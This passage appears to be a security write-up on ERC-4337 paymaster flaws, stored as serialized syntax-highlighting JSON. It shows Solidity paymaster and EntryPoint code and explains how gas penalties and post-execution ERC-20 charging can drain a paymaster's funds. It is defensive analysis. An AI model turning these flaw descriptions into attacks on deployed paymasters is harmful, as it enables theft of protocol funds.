_postOp",{"type":23,"tag":213,"props":103838,"children":103839},{"style":220},[103840],{"type":28,"value":265},{"type":23,"tag":213,"props":103842,"children":103843},{"style":230},[103844],{"type":28,"value":103845},"PostOpMode",{"type":23,"tag":213,"props":103847,"children":103848},{"style":220},[103849],{"type":28,"value":424},{"type":23,"tag":213,"props":103851,"children":103852},{"style":290},[103853],{"type":28,"value":83881},{"type":23,"tag":213,"props":103855,"children":103856},{"style":230},[103857],{"type":28,"value":103065},{"type":23,"tag":213,"props":103859,"children":103860},{"style":268},[103861],{"type":28,"value":76393},{"type":23,"tag":213,"props":103863,"children":103864},{"style":220},[103865],{"type":28,"value":424},{"type":23,"tag":213,"props":103867,"children":103868},{"style":290},[103869],{"type":28,"value":46219},{"type":23,"tag":213,"props":103871,"children":103872},{"style":268},[103873],{"type":28,"value":103874}," actualGasCost",{"type":23,"tag":213,"props":103876,"children":103877},{"style":220},[103878],{"type":28,"value":424},{"type":23,"tag":213,"props":103880,"children":103881},{"style":290},[103882],{"type":28,"value":46219},{"type":23,"tag":213,"props":103884,"children":103885},{"style":268},[103886],{"type":28,"value":103887}," actualUserOpFeePerGas",{"type":23,"tag":213,"props":103889,"children":103890},{"style":220},[103891],{"type":28,"value":2183},{"type":23,"tag":213,"props":103893,"children":103894},{"class":215,"line":23692},[103895],{"type":23,"tag":213,"props":103896,"children":103897},{"style":230},[103898],{"type":28,"value":103104},{"type":23,"tag":213,"props":103900,"children":103901},{"class":215,"line":23700},[103902],{"type":23,"tag":213,"props":103903,"children":103904},{"style":230},[103905],{"type":28,"value":103112},{"type":23,"tag":213,"props":103907,"children":103908},{"class":215,"line":23708},[103909],{"type":23,"tag":213,"props":103910,"children":103911},{"style":220},[103912],{"type":28,"value":2725},{"type":23,"tag":213,"props":103914,"children":103915},{"class":215,"line":23717},[103916,103920],{"type":23,"tag":213,"props":103917,"children":103918},{"style":1362},[103919],{"type":28,"value":103169},{"type":23,"tag":213,"props":103921,"children":103922},{"style":220},[103923],{"type":28,"value":1375},{"type":23,"tag":213,"props":103925,"children":103926},{"class":215,"line":23793},[103927,103931,103935,103939],{"type":23,"tag":213,"props":103928,"children":103929},{"style":290},[103930],{"type":28,"value":103181},{"type":23,"tag":213,"props":103932,"children":103933},{"style":220},[103934],{"type":28,"value":103186},{"type":23,"tag":213,"props":103936,"children":103937},{"style":274},[103938],{"type":28,"value":3190},{"type":23,"tag":213,"props":103940,"children":103941},{"style":220},[103942],{"type":28,"value":103195},{"type":23,"tag":213,"props":103944,"children":103945},{"class":215,"line":23826},[103946,103950,103954,103958],{"type":23,"tag":213,"props":103947,"children":103948},{"style":290},[103949],{"type":28,"value":103181},{"type":23,"tag":213,"props":103951,"children":103952},{"style":220},[103953],{"type":28,"value":103207},{"type":23,"tag":213,"props":103955,"children":103956},{"style":274},[103957],{"type":28,"value":3190},{"type":23,"tag":213,"props":103959,"children":103960},{"style":220},[103961],{"type":28,"value":103216},{"type":23,"tag":213,"props":103963,"children":103964},{"class":215,"line":23834},[103965,103970,103974,103979,103983,103988,103992,103996,104000,104005,104010,104014,104018,104022],{"type":23,"tag":213,"props":103966,"children":103967},{"style":220},[103968],{"type":28,"value":103969}," (",{"type":23,"tag":213,"props":103971,"children":103972},{"style":290},[103973],{"type":28,"value":46219},{"type":23,"tag":213,"props":103975,"children":103976},{"style":220},[103977],{"type":28,"value":103978}," preCharge, ",{"type":23,"tag":213,"props":103980,"children":103981},{"style":290},[103982],{"type":28,"value":32696},{"type":23,"tag":213,"props":103984,"children":103985},{"style":220},[103986],{"type":28,"value":103987}," userOpSender) ",{"type":23,"tag":213,"props":103989,"children":103990},{"style":274},[103991],{"type":28,"value":3190},{"type":23,"tag":213,"props":103993,"children":103994},{"style":230},[103995],{"type":28,"value":103730},{"type":23,"tag":213,"props":103997,"children":103998},{"style":220},[103999],{"type":28,"value":124},{"type":23,"tag":213,"props":104001,"children":104002},{"style":257},[104003],{"type":28,"value":104004},"decode",{"type":23,"tag":213,"props":104006,"children":104007},{"style":220},[104008],{"type":28,"value":104009},"(context, (",{"type":23,"tag":213,"props":104011,"children":104012},{"style":290},[104013],{"type":28,"value":46219},{"type":23,"tag":213,"props":104015,"children":104016},{"style":220},[104017],{"type":28,"value":424},{"type":23,"tag":213,"props":104019,"children":104020},{"style":290},[104021],{"type":28,"value":32696},{"type":23,"tag":213,"props":104023,"children":104024},{"style":220},[104025],{"type":28,"value":7313},{"type":23,"tag":213,"props":104027,"children":104028},{"class":215,"line":23842},[104029,104034,104039,104044],{"type":23,"tag":213,"props":104030,"children":104031},{"style":220},[104032],{"type":28,"value":104033}," preCharge ",{"type":23,"tag":213,"props":104035,"children":104036},{"style":274},[104037],{"type":28,"value":104038},"-=",{"type":23,"tag":213,"props":104040,"children":104041},{"style":220},[104042],{"type":28,"value":104043}," baseFee; ",{"type":23,"tag":213,"props":104045,"children":104046},{"style":537},[104047],{"type":28,"value":104048},"// don't refund the base fee\n",{"type":23,"tag":213,"props":104050,"children":104051},{"class":215,"line":23879},[104052,104056,104061,104065,104070,104074,104078],{"type":23,"tag":213,"props":104053,"children":104054},{"style":290},[104055],{"type":28,"value":103181},{"type":23,"tag":213,"props":104057,"children":104058},{"style":220},[104059],{"type":28,"value":104060}," _cachedPrice ",{"type":23,"tag":213,"props":104062,"children":104063},{"style":274},[104064],{"type":28,"value":3190},{"type":23,"tag":213,"props":104066,"children":104067},{"style":257},[104068],{"type":28,"value":104069}," updateCachedPrice",{"type":23,"tag":213,"props":104071,"children":104072},{"style":220},[104073],{"type":28,"value":265},{"type":23,"tag":213,"props":104075,"children":104076},{"style":230},[104077],{"type":28,"value":2499},{"type":23,"tag":213,"props":104079,"children":104080},{"style":220},[104081],{"type":28,"value":2867},{"type":23,"tag":213,"props":104083,"children":104084},{"class":215,"line":23892},[104085,104089,104093],{"type":23,"tag":213,"props":104086,"children":104087},{"style":537},[104088],{"type":28,"value":103433},{"type":23,"tag":213,"props":104090,"children":104091},{"style":230},[104092],{"type":28,"value":66813},{"type":23,"tag":213,"props":104094,"children":104095},{"style":537},[104096],{"type":28,"value":103442},{"type":23,"tag":213,"props":104098,"children":104099},{"class":215,"line":23905},[104100,104104,104108,104112,104116,104120,104124,104128],{"type":23,"tag":213,"props":104101,"children":104102},{"style":290},[104103],{"type":28,"value":103181},{"type":23,"tag":213,"props":104105,"children":104106},{"style":220},[104107],{"type":28,"value":103454},{"type":23,"tag":213,"props":104109,"children":104110},{"style":274},[104111],{"type":28,"value":3190},{"type":23,"tag":213,"props":104113,"children":104114},{"style":220},[104115],{"type":28,"value":104060},{"type":23,"tag":213,"props":104117,"children":104118},{"style":274},[104119],{"type":28,"value":1696},{"type":23,"tag":213,"props":104121,"children":104122},{"style":220},[104123],{"type":28,"value":103472},{"type":23,"tag":213,"props":104125,"children":104126},{"style":274},[104127],{"type":28,"value":4675},{"type":23,"tag":213,"props":104129,"children":104130},{"style":220},[104131],{"type":28,"value":103481},{"type":23,"tag":213,"props":104133,"children":104134},{"class":215,"line":23918},[104135],{"type":23,"tag":213,"props":104136,"children":104137},{"style":537},[104138],{"type":28,"value":104139}," // Refund tokens based on actual gas cost\n",{"type":23,"tag":213,"props":104141,"children":104142},{"class":215,"line":23972},[104143,104147,104152,104156,104161,104165,104170,104174],{"type":23,"tag":213,"props":104144,"children":104145},{"style":290},[104146],{"type":28,"value":103181},{"type":23,"tag":213,"props":104148,"children":104149},{"style":220},[104150],{"type":28,"value":104151}," actualChargeNative ",{"type":23,"tag":213,"props":104153,"children":104154},{"style":274},[104155],{"type":28,"value":3190},{"type":23,"tag":213,"props":104157,"children":104158},{"style":220},[104159],{"type":28,"value":104160}," actualGasCost ",{"type":23,"tag":213,"props":104162,"children":104163},{"style":274},[104164],{"type":28,"value":2703},{"type":23,"tag":213,"props":104166,"children":104167},{"style":220},[104168],{"type":28,"value":104169}," tokenPaymasterConfig.refundPostopCost ",{"type":23,"tag":213,"props":104171,"children":104172},{"style":274},[104173],{"type":28,"value":1696},{"type":23,"tag":213,"props":104175,"children":104176},{"style":220},[104177],{"type":28,"value":104178}," actualUserOpFeePerGas;\n",{"type":23,"tag":213,"props":104180,"children":104181},{"class":215,"line":23980},[104182,104186,104191,104195,104199],{"type":23,"tag":213,"props":104183,"children":104184},{"style":290},[104185],{"type":28,"value":103181},{"type":23,"tag":213,"props":104187,"children":104188},{"style":220},[104189],{"type":28,"value":104190}," actualTokenNeeded ",{"type":23,"tag":213,"props":104192,"children":104193},{"style":274},[104194],{"type":28,"value":3190},{"type":23,"tag":213,"props":104196,"children":104197},{"style":257},[104198],{"type":28,"value":103656},{"type":23,"tag":213,"props":104200,"children":104201},{"style":220},[104202],{"type":28,"value":104203},"(actualChargeNative, cachedPriceWithMarkup);\n",{"type":23,"tag":213,"props":104205,"children":104206},{"class":215,"line":32336},[104207,104211,104216,104220],{"type":23,"tag":213,"props":104208,"children":104209},{"style":1362},[104210],{"type":28,"value":58854},{"type":23,"tag":213,"props":104212,"children":104213},{"style":220},[104214],{"type":28,"value":104215}," (preCharge ",{"type":23,"tag":213,"props":104217,"children":104218},{"style":274},[104219],{"type":28,"value":10545},{"type":23,"tag":213,"props":104221,"children":104222},{"style":220},[104223],{"type":28,"value":104224}," actualTokenNeeded) {\n",{"type":23,"tag":213,"props":104226,"children":104227},{"class":215,"line":32357},[104228],{"type":23,"tag":213,"props":104229,"children":104230},{"style":537},[104231],{"type":28,"value":104232}," // If initially provided token amount is greater than the actual amount needed, refund the difference\n",{"type":23,"tag":213,"props":104234,"children":104235},{"class":215,"line":81004},[104236,104241,104246,104251,104255],{"type":23,"tag":213,"props":104237,"children":104238},{"style":220},[104239],{"type":28,"value":104240}," SafeERC20.",{"type":23,"tag":213,"props":104242,"children":104243},{"style":257},[104244],{"type":28,"value":104245},"safeTransfer",{"type":23,"tag":213,"props":104247,"children":104248},{"style":220},[104249],{"type":28,"value":104250},"(token, userOpSender, preCharge ",{"type":23,"tag":213,"props":104252,"children":104253},{"style":274},[104254],{"type":28,"value":4423},{"type":23,"tag":213,"props":104256,"children":104257},{"style":220},[104258],{"type":28,"value":104259}," actualTokenNeeded);\n",{"type":23,"tag":213,"props":104261,"children":104262},{"class":215,"line":81017},[104263,104267,104271,104275,104279,104283],{"type":23,"tag":213,"props":104264,"children":104265},{"style":220},[104266],{"type":28,"value":70647},{"type":23,"tag":213,"props":104268,"children":104269},{"style":1362},[104270],{"type":28,"value":3412},{"type":23,"tag":213,"props":104272,"children":104273},{"style":1362},[104274],{"type":28,"value":15839},{"type":23,"tag":213,"props":104276,"children":104277},{"style":220},[104278],{"type":28,"value":104215},{"type":23,"tag":213,"props":104280,"children":104281},{"style":274},[104282],{"type":28,"value":434},{"type":23,"tag":213,"props":104284,"children":104285},{"style":220},[104286],{"type":28,"value":104224},{"type":23,"tag":213,"props":104288,"children":104289},{"class":215,"line":81025},[104290],{"type":23,"tag":213,"props":104291,"children":104292},{"style":537},[104293],{"type":28,"value":104294}," // Attempt to cover Paymaster's gas expenses by withdrawing the 'overdraft' from the client\n",{"type":23,"tag":213,"props":104296,"children":104297},{"class":215,"line":81033},[104298],{"type":23,"tag":213,"props":104299,"children":104300},{"style":537},[104301],{"type":28,"value":104302}," // If the transfer reverts also revert the 'postOp' to remove the incentive to cheat\n",{"type":23,"tag":213,"props":104304,"children":104305},{"class":215,"line":81041},[104306,104310,104314,104319,104323,104327,104331,104336,104340],{"type":23,"tag":213,"props":104307,"children":104308},{"style":220},[104309],{"type":28,"value":104240},{"type":23,"tag":213,"props":104311,"children":104312},{"style":257},[104313],{"type":28,"value":103691},{"type":23,"tag":213,"props":104315,"children":104316},{"style":220},[104317],{"type":28,"value":104318},"(token, userOpSender, ",{"type":23,"tag":213,"props":104320,"children":104321},{"style":290},[104322],{"type":28,"value":32696},{"type":23,"tag":213,"props":104324,"children":104325},{"style":220},[104326],{"type":28,"value":265},{"type":23,"tag":213,"props":104328,"children":104329},{"style":230},[104330],{"type":28,"value":17743},{"type":23,"tag":213,"props":104332,"children":104333},{"style":220},[104334],{"type":28,"value":104335},"), actualTokenNeeded ",{"type":23,"tag":213,"props":104337,"children":104338},{"style":274},[104339],{"type":28,"value":4423},{"type":23,"tag":213,"props":104341,"children":104342},{"style":220},[104343],{"type":28,"value":104344}," preCharge);\n",{"type":23,"tag":213,"props":104346,"children":104347},{"class":215,"line":81081},[104348],{"type":23,"tag":213,"props":104349,"children":104350},{"style":220},[104351],{"type":28,"value":58938},{"type":23,"tag":213,"props":104353,"children":104354},{"class":215,"line":81089},[104355],{"type":23,"tag":213,"props":104356,"children":104357},{"emptyLinePlaceholder":18},[104358],{"type":28,"value":530},{"type":23,"tag":213,"props":104360,"children":104361},{"class":215,"line":88276},[104362,104366,104371,104375,104379],{"type":23,"tag":213,"props":104363,"children":104364},{"style":1362},[104365],{"type":28,"value":58854},{"type":23,"tag":213,"props":104367,"children":104368},{"style":220},[104369],{"type":28,"value":104370}," (baseFee ",{"type":23,"tag":213,"props":104372,"children":104373},{"style":274},[104374],{"type":28,"value":10545},{"type":23,"tag":213,"props":104376,"children":104377},{"style":514},[104378],{"type":28,"value":517},{"type":23,"tag":213,"props":104380,"children":104381},{"style":220},[104382],{"type":28,"value":14870},{"type":23,"tag":213,"props":104384,"children":104385},{"class":215,"line":88284},[104386,104390,104394],{"type":23,"tag":213,"props":104387,"children":104388},{"style":220},[104389],{"type":28,"value":104240},{"type":23,"tag":213,"props":104391,"children":104392},{"style":257},[104393],{"type":28,"value":104245},{"type":23,"tag":213,"props":104395,"children":104396},{"style":220},[104397],{"type":28,"value":104398},"(token, tokenPaymasterConfig.rewardsPool, baseFee);\n",{"type":23,"tag":213,"props":104400,"children":104401},{"class":215,"line":101630},[104402],{"type":23,"tag":213,"props":104403,"children":104404},{"style":220},[104405],{"type":28,"value":58938},{"type":23,"tag":213,"props":104407,"children":104408},{"class":215,"line":101638},[104409],{"type":23,"tag":213,"props":104410,"children":104411},{"emptyLinePlaceholder":18},[104412],{"type":28,"value":530},{"type":23,"tag":213,"props":104414,"children":104415},{"class":215,"line":101646},[104416,104421,104426],{"type":23,"tag":213,"props":104417,"children":104418},{"style":1362},[104419],{"type":28,"value":104420}," emit",{"type":23,"tag":213,"props":104422,"children":104423},{"style":257},[104424],{"type":28,"value":104425}," UserOperationSponsored",{"type":23,"tag":213,"props":104427,"children":104428},{"style":220},[104429],{"type":28,"value":104430},"(userOpSender, actualTokenNeeded, actualGasCost, cachedPriceWithMarkup, baseFee);\n",{"type":23,"tag":213,"props":104432,"children":104433},{"class":215,"line":101654},[104434,104439],{"type":23,"tag":213,"props":104435,"children":104436},{"style":257},[104437],{"type":28,"value":104438}," refillEntryPointDeposit",{"type":23,"tag":213,"props":104440,"children":104441},{"style":220},[104442],{"type":28,"value":104443},"(_cachedPrice);\n",{"type":23,"tag":213,"props":104445,"children":104446},{"class":215,"line":101682},[104447],{"type":23,"tag":213,"props":104448,"children":104449},{"style":220},[104450],{"type":28,"value":3444},{"type":23,"tag":213,"props":104452,"children":104454},{"class":215,"line":104453},67,[104455],{"type":23,"tag":213,"props":104456,"children":104457},{"style":220},[104458],{"type":28,"value":2875},{"type":23,"tag":213,"props":104460,"children":104462},{"class":215,"line":104461},68,[104463],{"type":23,"tag":213,"props":104464,"children":104465},{"style":220},[104466],{"type":28,"value":1208},{"type":23,"tag":24,"props":104468,"children":104469},{},[104470,104472,104478,104480,104485,104487,104493],{"type":28,"value":104471},"Looking at the code above, during ",{"type":23,"tag":209,"props":104473,"children":104475},{"className":104474},[],[104476],{"type":28,"value":104477},"validatePaymasterUserOp",{"type":28,"value":104479},", the paymaster attempts to charge a maximum prefund amount first. This prefund is calculated by taking the gas limit specified in the ",{"type":23,"tag":209,"props":104481,"children":104483},{"className":104482},[],[104484],{"type":28,"value":102536},{"type":28,"value":104486}," and applying a markup price to convert the native ETH cost into the equivalent ERC20-token value. Later in ",{"type":23,"tag":209,"props":104488,"children":104490},{"className":104489},[],[104491],{"type":28,"value":104492},"postOp",{"type":28,"value":104494},", the paymaster calculates the actual charge and refunds any excess from the prefund.",{"type":23,"tag":24,"props":104496,"children":104497},{},[104498,104500,104505,104507,104514],{"type":28,"value":104499},"However, there is a critical oversight: ",{"type":23,"tag":95,"props":104501,"children":104502},{},[104503],{"type":28,"value":104504},"the code does not account for gas penalties",{"type":28,"value":104506},". The actual gas charged to the paymaster includes not just the gas used, but also any ",{"type":23,"tag":36,"props":104508,"children":104511},{"href":104509,"rel":104510},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.7/contracts/core/EntryPoint.sol#L726-L730",[40],[104512],{"type":28,"value":104513},"penalties incurred",{"type":28,"value":104515}," from differences between the execution gas limit and actual execution gas.",{"type":23,"tag":24,"props":104517,"children":104518},{},[104519],{"type":28,"value":104520},"This vulnerability can be exploited by malicious users who set an artificially high gas limit to trigger the penalty. When penalties are applied, the paymaster will be charged significantly more than expected, potentially draining its funds since these additional costs were not factored into the calculation.",{"type":23,"tag":24,"props":104522,"children":104523},{},[104524,104526,104531],{"type":28,"value":104525},"In fact, the bundler will be the one who receives the penalty paid by the paymaster. This means a bundler could submit their own ",{"type":23,"tag":209,"props":104527,"children":104529},{"className":104528},[],[104530],{"type":28,"value":102235},{"type":28,"value":104532}," to be executed by themselves and profit if the penalty they can extract from the paymaster exceeds their own gas costs paid to the paymaster. In SEND's case, fortunately, because they operate their own bundler, any penalties incurred flow back to their controlled bundler, creating a closed economic loop that mitigates this particular attack vector.",{"type":23,"tag":47,"props":104534,"children":104536},{"id":104535},"incorrect-erc-20-handling",[104537],{"type":23,"tag":95,"props":104538,"children":104539},{},[104540],{"type":28,"value":104541},"Incorrect ERC-20 Handling",{"type":23,"tag":24,"props":104543,"children":104544},{},[104545],{"type":28,"value":104546},"To improve user experience, some protocols introduced ERC-20 paymasters that allow users to pay transaction gas fees using ERC-20 tokens instead of native ETH (Just like what SEND did in the above code). The core concept is quite straightforward, the paymaster fronts the ETH gas costs to bundlers, then charges users an equivalent amount in ERC-20 tokens based on current market rates. However, implementing this token-to-ETH conversion and payment flow securely requires careful consideration.",{"type":23,"tag":24,"props":104548,"children":104549},{},[104550,104551,104556,104558,104563],{"type":28,"value":45347},{"type":23,"tag":209,"props":104552,"children":104554},{"className":104553},[],[104555],{"type":28,"value":102316},{"type":28,"value":104557}," flow above, we can see that paymasters have two key interaction points during a ",{"type":23,"tag":209,"props":104559,"children":104561},{"className":104560},[],[104562],{"type":28,"value":102235},{"type":28,"value":104564},"'s lifecycle:",{"type":23,"tag":131,"props":104566,"children":104567},{},[104568,104578],{"type":23,"tag":135,"props":104569,"children":104570},{},[104571,104573],{"type":28,"value":104572},"During validation via ",{"type":23,"tag":209,"props":104574,"children":104576},{"className":104575},[],[104577],{"type":28,"value":102423},{"type":23,"tag":135,"props":104579,"children":104580},{},[104581,104583],{"type":28,"value":104582},"After execution via ",{"type":23,"tag":209,"props":104584,"children":104586},{"className":104585},[],[104587],{"type":28,"value":102434},{"type":23,"tag":24,"props":104589,"children":104590},{},[104591],{"type":28,"value":104592},"This dual-interaction model has led to two predominant patterns for handling ERC-20 payments in paymaster implementations:",{"type":23,"tag":9693,"props":104594,"children":104596},{"id":104595},"_1-pre-payment-with-refund-pattern",[104597],{"type":28,"value":104598},"1. Pre-Payment with Refund Pattern",{"type":23,"tag":24,"props":104600,"children":104601},{},[104602,104604,104609,104611,104616,104618,104624,104625,104631,104633,104638,104640,104645,104647,104652],{"type":28,"value":104603},"In this model, the paymaster requires users to pre-pay the maximum possible gas cost in ERC-20 tokens during ",{"type":23,"tag":209,"props":104605,"children":104607},{"className":104606},[],[104608],{"type":28,"value":102423},{"type":28,"value":104610},". After execution completes, ",{"type":23,"tag":209,"props":104612,"children":104614},{"className":104613},[],[104615],{"type":28,"value":102434},{"type":28,"value":104617}," refunds any excess tokens based on actual gas consumed. This is analogous to how regular ETH gas payments work. Several protocols like ",{"type":23,"tag":209,"props":104619,"children":104621},{"className":104620},[],[104622],{"type":28,"value":104623},"SEND",{"type":28,"value":1466},{"type":23,"tag":209,"props":104626,"children":104628},{"className":104627},[],[104629],{"type":28,"value":104630},"Circle",{"type":28,"value":104632}," have implemented this approach. However, this pattern has one key disadvantage: users must first approve the paymaster to spend their ERC20 tokens before submitting any ",{"type":23,"tag":209,"props":104634,"children":104636},{"className":104635},[],[104637],{"type":28,"value":102264},{"type":28,"value":104639},". This additional setup step is required to ensure the paymaster can successfully deduct tokens ",{"type":23,"tag":95,"props":104641,"children":104642},{},[104643],{"type":28,"value":104644},"before",{"type":28,"value":104646}," execution (specifically during ",{"type":23,"tag":209,"props":104648,"children":104650},{"className":104649},[],[104651],{"type":28,"value":104477},{"type":28,"value":20796},{"type":23,"tag":9693,"props":104654,"children":104656},{"id":104655},"_2-post-execution-charging-pattern",[104657],{"type":28,"value":104658},"2. Post-Execution Charging Pattern",{"type":23,"tag":24,"props":104660,"children":104661},{},[104662,104664,104669,104671,104676,104678,104683,104685,104690],{"type":28,"value":104663},"This alternative approach defers token collection until after execution. Instead of charging a prefund during ",{"type":23,"tag":209,"props":104665,"children":104667},{"className":104666},[],[104668],{"type":28,"value":102423},{"type":28,"value":104670},", the actual token payment is calculated and collected in ",{"type":23,"tag":209,"props":104672,"children":104674},{"className":104673},[],[104675],{"type":28,"value":102434},{"type":28,"value":104677}," based on the exact gas consumed. At first glance, this appears to be the most user-friendly pattern since users can bundle their token approval transaction within the same ",{"type":23,"tag":209,"props":104679,"children":104681},{"className":104680},[],[104682],{"type":28,"value":102235},{"type":28,"value":104684},", eliminating the need for a separate pre-approval transaction before submitting the ",{"type":23,"tag":209,"props":104686,"children":104688},{"className":104687},[],[104689],{"type":28,"value":102536},{"type":28,"value":104691},". This means users could interact with the paymaster without any prior setup.",{"type":23,"tag":24,"props":104693,"children":104694},{},[104695,104697,104702,104704,104710,104712,104718,104720,104725],{"type":28,"value":104696},"This approach used to work in ",{"type":23,"tag":209,"props":104698,"children":104700},{"className":104699},[],[104701],{"type":28,"value":102316},{"type":28,"value":104703}," version ",{"type":23,"tag":209,"props":104705,"children":104707},{"className":104706},[],[104708],{"type":28,"value":104709},"v0.6",{"type":28,"value":104711},", but the pattern no longer works in ",{"type":23,"tag":209,"props":104713,"children":104715},{"className":104714},[],[104716],{"type":28,"value":104717},"v0.7",{"type":28,"value":104719},". In fact, using this pattern can lead to loss of funds for the paymaster. Let's take a closer look at how ",{"type":23,"tag":209,"props":104721,"children":104723},{"className":104722},[],[104724],{"type":28,"value":104717},{"type":28,"value":104726}," handles the execution phase:",{"type":23,"tag":202,"props":104728,"children":104730},{"className":4570,"code":104729,"language":4569,"meta":7,"style":7}," function _executeUserOp(\n uint256 opIndex,\n PackedUserOperation calldata userOp,\n UserOpInfo memory opInfo\n )\n internal virtual\n returns (uint256 collected) {\n [...]\n bool success;\n {\n [...]\n if (methodSig == IAccountExecute.executeUserOp.selector) {\n bytes memory executeUserOp = abi.encodeCall(IAccountExecute.executeUserOp, (userOp, opInfo.userOpHash));\n innerCall = abi.encodeCall(this.innerHandleOp, (executeUserOp, opInfo, context));\n } else\n {\n innerCall = abi.encodeCall(this.innerHandleOp, (callData, opInfo, context));\n }\n assembly (\"memory-safe\") {\n success := call(gas(), address(), 0, add(innerCall, 0x20), mload(innerCall), 0, 32)\n collected := mload(0)\n }\n _restoreFreePtr(saveFreePtr);\n }\n if (!success) {\n [...]\n if (innerRevertCode == INNER_OUT_OF_GAS) {\n // handleOps was called with gas limit too low. abort entire bundle.\n // can only be caused by bundler (leaving not enough gas for inner call)\n revert FailedOp(opIndex, \"AA95 out of gas\");\n } else if (innerRevertCode == INNER_REVERT_LOW_PREFUND) {\n // innerCall reverted on prefund too low. treat entire prefund as \"gas cost\"\n uint256 actualGas = preGas - gasleft() + opInfo.preOpGas;\n uint256 actualGasCost = opInfo.prefund;\n _emitPrefundTooLow(opInfo);\n _emitUserOperationEvent(opInfo, false, actualGasCost, actualGas);\n collected = actualGasCost;\n } else {\n [...]\n collected = _postExecution(\n IPaymaster.PostOpMode.postOpReverted,\n opInfo,\n context,\n actualGas\n );\n }\n }\n }\n",[104731],{"type":23,"tag":209,"props":104732,"children":104733},{"__ignoreMap":7},[104734,104750,104766,104786,104803,104810,104823,104847,104855,104868,104875,104882,104903,104942,104979,104991,104998,105034,105041,105062,105151,105180,105187,105200,105207,105227,105234,105255,105263,105271,105298,105326,105334,105377,105397,105410,105432,105448,105463,105470,105490,105498,105506,105514,105522,105530,105537,105544],{"type":23,"tag":213,"props":104735,"children":104736},{"class":215,"line":216},[104737,104741,104746],{"type":23,"tag":213,"props":104738,"children":104739},{"style":230},[104740],{"type":28,"value":89884},{"type":23,"tag":213,"props":104742,"children":104743},{"style":257},[104744],{"type":28,"value":104745}," _executeUserOp",{"type":23,"tag":213,"props":104747,"children":104748},{"style":220},[104749],{"type":28,"value":1511},{"type":23,"tag":213,"props":104751,"children":104752},{"class":215,"line":226},[104753,104757,104762],{"type":23,"tag":213,"props":104754,"children":104755},{"style":290},[104756],{"type":28,"value":90062},{"type":23,"tag":213,"props":104758,"children":104759},{"style":268},[104760],{"type":28,"value":104761}," opIndex",{"type":23,"tag":213,"props":104763,"children":104764},{"style":220},[104765],{"type":28,"value":944},{"type":23,"tag":213,"props":104767,"children":104768},{"class":215,"line":524},[104769,104774,104778,104782],{"type":23,"tag":213,"props":104770,"children":104771},{"style":230},[104772],{"type":28,"value":104773}," PackedUserOperation",{"type":23,"tag":213,"props":104775,"children":104776},{"style":230},[104777],{"type":28,"value":103065},{"type":23,"tag":213,"props":104779,"children":104780},{"style":268},[104781],{"type":28,"value":103070},{"type":23,"tag":213,"props":104783,"children":104784},{"style":220},[104785],{"type":28,"value":944},{"type":23,"tag":213,"props":104787,"children":104788},{"class":215,"line":533},[104789,104794,104798],{"type":23,"tag":213,"props":104790,"children":104791},{"style":230},[104792],{"type":28,"value":104793}," UserOpInfo",{"type":23,"tag":213,"props":104795,"children":104796},{"style":230},[104797],{"type":28,"value":103133},{"type":23,"tag":213,"props":104799,"children":104800},{"style":268},[104801],{"type":28,"value":104802}," opInfo\n",{"type":23,"tag":213,"props":104804,"children":104805},{"class":215,"line":543},[104806],{"type":23,"tag":213,"props":104807,"children":104808},{"style":220},[104809],{"type":28,"value":1918},{"type":23,"tag":213,"props":104811,"children":104812},{"class":215,"line":551},[104813,104818],{"type":23,"tag":213,"props":104814,"children":104815},{"style":230},[104816],{"type":28,"value":104817}," internal",{"type":23,"tag":213,"props":104819,"children":104820},{"style":230},[104821],{"type":28,"value":104822}," virtual\n",{"type":23,"tag":213,"props":104824,"children":104825},{"class":215,"line":570},[104826,104830,104834,104838,104843],{"type":23,"tag":213,"props":104827,"children":104828},{"style":1362},[104829],{"type":28,"value":46560},{"type":23,"tag":213,"props":104831,"children":104832},{"style":220},[104833],{"type":28,"value":400},{"type":23,"tag":213,"props":104835,"children":104836},{"style":290},[104837],{"type":28,"value":46219},{"type":23,"tag":213,"props":104839,"children":104840},{"style":268},[104841],{"type":28,"value":104842}," collected",{"type":23,"tag":213,"props":104844,"children":104845},{"style":220},[104846],{"type":28,"value":14870},{"type":23,"tag":213,"props":104848,"children":104849},{"class":215,"line":655},[104850],{"type":23,"tag":213,"props":104851,"children":104852},{"style":220},[104853],{"type":28,"value":104854}," [...]\n",{"type":23,"tag":213,"props":104856,"children":104857},{"class":215,"line":1176},[104858,104863],{"type":23,"tag":213,"props":104859,"children":104860},{"style":290},[104861],{"type":28,"value":104862}," bool",{"type":23,"tag":213,"props":104864,"children":104865},{"style":220},[104866],{"type":28,"value":104867}," success;\n",{"type":23,"tag":213,"props":104869,"children":104870},{"class":215,"line":1202},[104871],{"type":23,"tag":213,"props":104872,"children":104873},{"style":220},[104874],{"type":28,"value":31715},{"type":23,"tag":213,"props":104876,"children":104877},{"class":215,"line":1758},[104878],{"type":23,"tag":213,"props":104879,"children":104880},{"style":220},[104881],{"type":28,"value":104854},{"type":23,"tag":213,"props":104883,"children":104884},{"class":215,"line":1767},[104885,104889,104894,104898],{"type":23,"tag":213,"props":104886,"children":104887},{"style":1362},[104888],{"type":28,"value":58854},{"type":23,"tag":213,"props":104890,"children":104891},{"style":220},[104892],{"type":28,"value":104893}," (methodSig ",{"type":23,"tag":213,"props":104895,"children":104896},{"style":274},[104897],{"type":28,"value":8660},{"type":23,"tag":213,"props":104899,"children":104900},{"style":220},[104901],{"type":28,"value":104902}," IAccountExecute.executeUserOp.selector) {\n",{"type":23,"tag":213,"props":104904,"children":104905},{"class":215,"line":1789},[104906,104911,104915,104920,104924,104928,104932,104937],{"type":23,"tag":213,"props":104907,"children":104908},{"style":290},[104909],{"type":28,"value":104910}," bytes",{"type":23,"tag":213,"props":104912,"children":104913},{"style":230},[104914],{"type":28,"value":103133},{"type":23,"tag":213,"props":104916,"children":104917},{"style":220},[104918],{"type":28,"value":104919}," executeUserOp ",{"type":23,"tag":213,"props":104921,"children":104922},{"style":274},[104923],{"type":28,"value":3190},{"type":23,"tag":213,"props":104925,"children":104926},{"style":230},[104927],{"type":28,"value":103730},{"type":23,"tag":213,"props":104929,"children":104930},{"style":220},[104931],{"type":28,"value":124},{"type":23,"tag":213,"props":104933,"children":104934},{"style":257},[104935],{"type":28,"value":104936},"encodeCall",{"type":23,"tag":213,"props":104938,"children":104939},{"style":220},[104940],{"type":28,"value":104941},"(IAccountExecute.executeUserOp, (userOp, opInfo.userOpHash));\n",{"type":23,"tag":213,"props":104943,"children":104944},{"class":215,"line":1812},[104945,104950,104954,104958,104962,104966,104970,104974],{"type":23,"tag":213,"props":104946,"children":104947},{"style":220},[104948],{"type":28,"value":104949}," innerCall 